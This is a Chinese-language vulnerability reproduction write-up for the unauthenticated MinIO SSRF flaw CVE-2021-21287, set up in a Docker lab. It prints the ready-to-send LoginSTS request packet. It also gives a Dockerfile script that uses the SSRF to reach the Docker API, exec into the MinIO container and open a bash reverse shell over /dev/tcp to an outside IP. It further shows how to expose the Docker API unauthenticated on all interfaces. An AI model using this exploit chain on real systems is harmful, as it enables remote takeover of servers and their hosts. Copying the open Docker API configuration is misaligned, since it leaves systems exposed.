MinIO未授權SSRF漏洞(CVE-2021-21287)
一、漏洞簡介
由於MinIO組件中LoginSTS接口設計不當,導致存在服務器端請求偽造漏洞
攻擊者可以通過構造URL來發起服務器端請求偽造攻擊成功利用此漏洞的攻擊者能夠通過利用服務器上的功能來讀取、更新內部資源或執行任意命令
該漏洞無需用戶驗證即可遠程利用
二、影響版本
MinIO < RELEASE.2021-01-30T00-20-58Z
三、環境准備&漏洞復現
Docker 安裝 minio:
docker-compose.yml
version:'3.7'services:minio1:image:minio/minio:RELEASE.2021-01-16T02-19-44Zvolumes:-data1-1:/data1-data1-2:/data2ports:-"9000:9000"environment:MINIO_ACCESS_KEY:minioMINIO_SECRET_KEY:minio123command:server http://minio{1...4}/data{1...2}healthcheck:test:["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]interval:30stimeout:20sretries:3## By default this config uses default local driver,## For custom volumes replace with volume driver configuration.volumes:data1-1:data1-2:
啟動環境:
首頁樣式:
http://192.168.1.108:9000/minio/login
1、驗證SSRF
具體數據包:
POST/minio/webrpcHTTP/1.1Host: 192.168.1.104:1234User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79{"id":1,"jsonrpc":"2.0","params":{"token":"test"},"method":"web.LoginSTS"}
2、ssrf反彈shell
web服務下面放文件:index.php(apache)
反彈shell文件:
DockerFile如下:
FROM alpine:3.13RUN apk add curl bash jqRUNset-ex && \ { \echo'#!/bin/bash'; \echo'set -ex'; \echo'target="http://192.168.1.108:2375"'; \echo'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \echo'for item in ${jsons[@]}; do'; \echo' name=$(echo $item | base64 -d | jq -r ".Image")'; \echo' if [[ "$name" == *"minio/minio"* ]]; then'; \echo' id=$(echo $item | base64 -d | jq -r ".Id")'; \echo' break'; \echo' fi'; \echo'done'; \echo'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.104/888 0>&1\"]}" | jq -r ".Id")'; \echo'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \ } | bash
具體操作數據包:
POST/minio/webrpcHTTP/1.1Host: 192.168.1.104User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79{"id":1,"jsonrpc":"2.0","params":{"token":"test"},"method":"web.LoginSTS"}
為了好的展示錄了一個小視頻。
過程枯燥等待較長:加了一個BGM
視頻:
操作視頻的結果:
https://mp.weixin.qq.com/s/9OavrcdczSZDXler5IpiQQ
注意⚠️:
因為自己Docker API已開啟,過程未寫入其中。
開啟Docker API參考:
打開配置文件找到ExecStart=/usr/bin/dockerd 修改為ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock重啟$ systemctl daemon-reload$ systemctl restart docker
過程中還是很多坑需要去爬😂😂😂(多次嘗試未果,最后成功,部分細節未記錄丟失了)
時間匆忙有些粗糙望見諒🙏
SSRF-poc:
POST/minio/webrpcHTTP/1.1Host: 監聽地址User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79{"id":1,"jsonrpc":"2.0","params":{"token":"test"},"method":"web.LoginSTS"}
參考:
https://mp.weixin.qq.com/s/X04IhY9Oau-kDOVbok8wEw
https://www.o2oxy.cn/3104.html
https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html
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